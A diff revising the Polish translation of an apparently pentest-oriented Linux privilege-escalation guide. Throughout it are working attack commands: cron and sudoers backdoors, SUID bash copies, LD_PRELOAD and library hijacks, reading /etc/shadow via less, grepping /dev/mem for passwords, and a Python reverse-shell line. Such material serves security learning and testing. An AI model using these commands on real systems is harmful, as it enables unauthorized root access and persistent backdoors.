[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (wykonaj W ofierze, sprawdza tylko exploity dla jądra 2.x) -Zawsze **wyszukuj wersję jądra w Google**, może twoja wersja jądra jest opisana w jakimś exploicie jądra, a wtedy będziesz pewien, że ten exploit jest ważny. +Zawsze **wyszukuj wersję jądra w Google**, może się okazać, że twoja wersja jądra jest opisana w jakimś exploicie jądra, a wtedy będziesz pewien, że ten exploit jest ważny. ### CVE-2016-5195 (DirtyCow) @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Wymień możliwe zabezpieczenia +## Wymień możliwe obrony ### AppArmor ```bash @@ -148,7 +148,7 @@ Sprawdź, czy **jakikolwiek kompilator jest zainstalowany**. Jest to przydatne, ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Zainstalowane oprogramowanie podatne +### Zainstalowane oprogramowanie z lukami Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieje jakaś stara wersja Nagios (na przykład), która mogłaby być wykorzystana do eskalacji uprawnień…\ Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania. @@ -162,7 +162,7 @@ Jeśli masz dostęp SSH do maszyny, możesz również użyć **openVAS**, aby sp ## Procesy -Sprawdź **jakie procesy** są wykonywane i sprawdź, czy jakiś proces ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez roota?) +Sprawdź **jakie procesy** są wykonywane i sprawdź, czy którykolwiek proces ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez roota?) ```bash ps aux ps -ef @@ -182,7 +182,7 @@ Zazwyczaj będziesz potrzebować **uprawnień roota**, aby odczytać pamięć pr Jednak pamiętaj, że **jako zwykły użytkownik możesz odczytać pamięć procesów, które posiadasz**. > [!WARNING] -> Zauważ, że obecnie większość maszyn **domyślnie nie pozwala na ptrace**, co oznacza, że nie możesz zrzucać innych procesów, które należą do twojego użytkownika bez uprawnień. +> Zauważ, że obecnie większość maszyn **domyślnie nie zezwala na ptrace**, co oznacza, że nie możesz zrzucić innych procesów, które należą do twojego nieuprzywilejowanego użytkownika. > > Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace: > @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` zapewnia dostęp do **fizycznej** pamięci systemu, a nie pamięci wirtualnej. Wirtualna przestrzeń adresowa jądra może być dostępna za pomocą /dev/kmem.\ +`/dev/mem` zapewnia dostęp do **fizycznej** pamięci systemu, a nie do pamięci wirtualnej. Wirtualna przestrzeń adresowa jądra może być dostępna za pomocą /dev/kmem.\ Typowo, `/dev/mem` jest tylko do odczytu przez **root** i grupę **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump dla linux -ProcDump to linuxowa reinterpretacja klasycznego narzędzia ProcDump z zestawu narzędzi Sysinternals dla systemu Windows. Pobierz je w [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump to linuksowa reinterpretacja klasycznego narzędzia ProcDump z zestawu narzędzi Sysinternals dla systemu Windows. Pobierz je w [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process. Aby zrzucić pamięć procesu, możesz użyć: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który należy do Ciebie +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który jest przez Ciebie posiadany - Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) ### Poświadczenia z pamięci procesu @@ -334,15 +334,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron używający skryptu z dziką kartą (Wildcard Injection) +### Cron używając skryptu z dziką kartą (Wildcard Injection) -Jeśli skrypt wykonywany przez root zawiera „**\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych rzeczy (jak privesc). Przykład: +Jeśli skrypt wykonywany przez root zawiera “**\***” w poleceniu, możesz to wykorzystać do wywołania nieoczekiwanych rzeczy (jak privesc). Przykład: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Jeśli znak wieloznaczny jest poprzedzony ścieżką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** +**Jeśli znak wieloznaczny jest poprzedzony ścieżką, taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** -Przeczytaj następującą stronę, aby poznać więcej sztuczek z wykorzystaniem znaków wieloznacznych: +Przeczytaj następującą stronę, aby uzyskać więcej sztuczek związanych z wykorzystaniem znaków wieloznacznych: {{#ref}} wildcards-spare-tricks.md @@ -368,7 +368,7 @@ Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować wedłu ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy proces, który się uruchamia). +**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy uruchomiony proces). ### Niewidoczne zadania cron @@ -385,7 +385,7 @@ Na przykład stwórz swoją tylną furtkę wewnątrz pliku .service z **`ExecSta ### Zapisane binaria usług -Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki zostały wykonane. +Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki będą wykonywane. ### systemd PATH - Ścieżki względne @@ -413,13 +413,13 @@ systemctl list-timers --all ``` ### Writable timers -Jeśli możesz modyfikować timer, możesz sprawić, aby wykonywał niektóre instancje systemd.unit (takie jak `.service` lub `.target`) +Jeśli możesz modyfikować timer, możesz sprawić, że wykona on niektóre instancje systemd.unit (takie jak `.service` lub `.target`) ```bash Unit=backdoor.service ``` W dokumentacji możesz przeczytać, czym jest jednostka: -> Jednostka do aktywacji, gdy ten timer wygaśnie. Argument to nazwa jednostki, której przyrostek nie jest ".timer". Jeśli nie jest określona, ta wartość domyślnie odnosi się do usługi, która ma tę samą nazwę co jednostka timera, z wyjątkiem przyrostka. (Zobacz powyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były nazwane identycznie, z wyjątkiem przyrostka. +> Jednostka do aktywacji, gdy ten timer wygaśnie. Argument to nazwa jednostki, której przyrostek nie jest ".timer". Jeśli nie jest określona, ta wartość domyślnie odnosi się do usługi, która ma tę samą nazwę co jednostka timera, z wyjątkiem przyrostka. (Zobacz powyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były identyczne, z wyjątkiem przyrostka. Dlatego, aby nadużyć tego uprawnienia, musisz: @@ -445,16 +445,16 @@ Sockets można konfigurować za pomocą plików `.socket`. **Dowiedz się więcej o socketach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale używa się podsumowania, aby **wskazać, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socket AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.) -- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale używa się podsumowania, aby **wskazać, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socketu AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.) +- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie jest to fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`. - `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu. - `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **socketów**/FIFO, odpowiednio. - `Service`: Określa nazwę jednostki **usługi**, **którą należy aktywować** przy **przychodzącym ruchu**. Ustawienie to jest dozwolone tylko dla socketów z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji. ### Writable .socket files -Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie uruchomiony przed utworzeniem socketu. Dlatego prawdopodobnie **będziesz musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\ -&#xNAN;_Note, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_ +Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie uruchomiony przed utworzeniem socketu. Dlatego prawdopodobnie będziesz **musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\ +_Note, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_ ### Writable sockets @@ -485,7 +485,7 @@ Zauważ, że mogą istnieć **gniazda nasłuchujące na żądania HTTP** (_Nie m ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i może uda ci się **wykorzystać jakąś lukę**. +Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i może uda się **wykorzystać jakąś lukę**. ### Zapisowalny gniazdo Docker @@ -564,9 +564,9 @@ runc-privilege-escalation.md D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywne interakcje i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną strukturę dla różnych form komunikacji aplikacji. -System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto wspomaga nadawanie zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie złożone. +System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto wspomaga nadawanie zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, co ułatwia procesy, które były tradycyjnie skomplikowane. -D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie skumulowanego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień. +D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie kumulatywnego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień. Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. @@ -677,7 +677,7 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Polityka haseł +### Polityka Haseł ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` @@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo execution bypassing paths -**Skocz** do przeczytania innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Skok** do odczytu innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Komenda Sudo/binary SUID bez ścieżki komendy -Jeśli **uprawnienia sudo** są przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH. +Jeśli **uprawnienie sudo** jest przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_, możesz to wykorzystać, zmieniając zmienną PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -782,10 +782,10 @@ Wtedy, gdy wywołasz binarny plik suid, ta funkcja zostanie wykonana Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so) do załadowania przez loadera przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Proces ten nazywa się preładowaniem biblioteki. -Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku plików wykonywalnych **suid/sgid**, system egzekwuje pewne warunki: +Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku **suid/sgid** wykonywalnych, system egzekwuje pewne warunki: -- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, gdzie rzeczywisty identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_). -- Dla plików wykonywalnych z suid/sgid, preładowane są tylko biblioteki w standardowych ścieżkach, które również są suid/sgid. +- Loader ignoruje **LD_PRELOAD** dla wykonywalnych, gdzie rzeczywisty identyfikator użytkownika (_ruid_) nie pasuje do efektywnego identyfikatora użytkownika (_euid_). +- Dla wykonywalnych z suid/sgid, tylko biblioteki w standardowych ścieżkach, które są również suid/sgid, są preładowane. Podniesienie uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo`, a wynik `sudo -l` zawiera stwierdzenie **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala na utrzymanie zmiennej środowiskowej **LD_PRELOAD** i jej rozpoznawanie, nawet gdy polecenia są uruchamiane z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami. ``` @@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Teraz, gdy znaleźliśmy binarkę SUID ładującą bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o potrzebnej nazwie: +Teraz, gdy znaleźliśmy binarny plik SUID ładujący bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o odpowiedniej nazwie: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -921,8 +921,8 @@ Wymagania do eskalacji uprawnień: - Już masz powłokę jako użytkownik "_sampleuser_" - "_sampleuser_" **użył `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez wprowadzania hasła) -- `cat /proc/sys/kernel/yama/ptrace_scope` to 0 -- `gdb` jest dostępny (możesz go przesłać) +- `cat /proc/sys/kernel/yama/ptrace_scope` wynosi 0 +- `gdb` jest dostępny (możesz być w stanie go przesłać) (Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) @@ -959,7 +959,7 @@ Plik `/etc/sudoers` oraz pliki w `/etc/sudoers.d` konfigurują, kto może używa ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Jeśli potrafisz pisać, możesz nadużywać tej uprawnienia. +Jeśli potrafisz pisać, możesz nadużyć tego uprawnienia. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1006,7 +1006,7 @@ Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą załadowane pliki konfiguracyj To oznacza, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **To oznacza, że system będzie szukał bibliotek w `/usr/local/lib`**. -Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolny plik w `/etc/ld.so.conf.d/` lub dowolny folder w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie podnieść swoje uprawnienia.\ +Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolny plik w `/etc/ld.so.conf.d/` lub dowolny folder w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie podnieść uprawnienia.\ Zobacz **jak wykorzystać tę błędną konfigurację** na następującej stronie: {{#ref}} @@ -1048,7 +1048,7 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Linux capabilities provide a **podzbiór dostępnych uprawnień roota dla procesu**. To skutecznie dzieli uprawnienia roota **na mniejsze i wyraźne jednostki**. Każda z tych jednostek może być następnie niezależnie przyznawana procesom. W ten sposób pełny zestaw uprawnień jest zmniejszany, co zmniejsza ryzyko wykorzystania.\ Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} @@ -1062,9 +1062,9 @@ Bit **"odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a bi ## ACLs -Listy Kontroli Dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przesłonięcia tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Listy kontroli dostępu (ACL) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przysłaniania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Nadaj** użytkownikowi "kali" uprawnienia do odczytu i zapisu dla pliku: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1124,12 +1124,12 @@ Sprawdź **Valentine box from HTB** dla przykładu. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Wszystkie klucze SSL i SSH generowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\ -Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukiwać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### Interesujące wartości konfiguracyjne SSH - **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie jest `no`. -- **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie jest `yes`. +- **PubkeyAuthentication:** Określa, czy uwierzytelnianie kluczem publicznym jest dozwolone. Domyślnie jest `yes`. - **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer zezwala na logowanie do kont z pustymi ciągami haseł. Domyślnie jest `no`. ### PermitRootLogin @@ -1147,7 +1147,7 @@ Określa pliki, które zawierają klucze publiczne, które mogą być używane d ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **klucza prywatnego** użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access`. +Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **klucza prywatnego** użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding @@ -1160,8 +1160,8 @@ ForwardAgent yes ``` Zauważ, że jeśli `Host` to `*`, za każdym razem, gdy użytkownik przeskakuje na inną maszynę, ten host będzie mógł uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa). -Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zabronić tej konfiguracji.\ -Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** przekazywania ssh-agenta za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwala). +Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub odmówić tej konfiguracji.\ +Plik `/etc/sshd_config` może **zezwolić** lub **odmówić** przekazywania ssh-agenta za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie jest to zezwolenie). Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ **możesz być w stanie to wykorzystać do eskalacji uprawnień**: @@ -1216,7 +1216,7 @@ su - dummy ``` UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` oraz `/etc/master.passwd`, a także `/etc/shadow` jest przemianowane na `/etc/spwd.db`. -Powinieneś sprawdzić, czy możesz **zapisać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać w jakimś **plik konfiguracyjny usługi**? +Powinieneś sprawdzić, czy możesz **zapisać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać w jakimś **pliku konfiguracyjnym usługi**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1287,11 +1287,11 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Znane pliki zawierające hasła Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który przeszukuje **kilka możliwych plików, które mogą zawierać hasła**.\ -**Innym interesującym narzędziem**, które możesz użyć do tego celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla systemów Windows, Linux i Mac. +**Innym interesującym narzędziem**, które możesz użyć do tego celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux i Mac. ### Dzienniki -Jeśli możesz czytać dzienniki, możesz być w stanie znaleźć **interesujące/poufne informacje w ich wnętrzu**. Im dziwniejszy jest dziennik, tym bardziej interesujący będzie (prawdopodobnie).\ +Jeśli możesz czytać dzienniki, możesz być w stanie znaleźć **interesujące/poufne informacje w ich wnętrzu**. Im bardziej dziwny jest dziennik, tym bardziej interesujący będzie (prawdopodobnie).\ Ponadto, niektóre "**źle**" skonfigurowane (z backdoorem?) **dzienniki audytu** mogą pozwolić ci na **rejestrowanie haseł** w dziennikach audytu, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" @@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Wykorzystanie logrotate -Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może być manipulowany do wykonywania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzić uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, w którym stosuje się rotację logów. +Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może być manipulowany w celu wykonywania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzić uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, w którym stosuje się rotację logów. > [!NOTE] > Ta luka dotyczy wersji `logrotate` `3.18.0` i starszych @@ -1336,7 +1336,7 @@ Szczegółowe informacje na temat luki można znaleźć na tej stronie: [https:/ Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). -Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logi nginx),** więc zawsze, gdy zauważysz, że możesz zmieniać logi, sprawdź, kto zarządza tymi logami i sprawdź, czy możesz 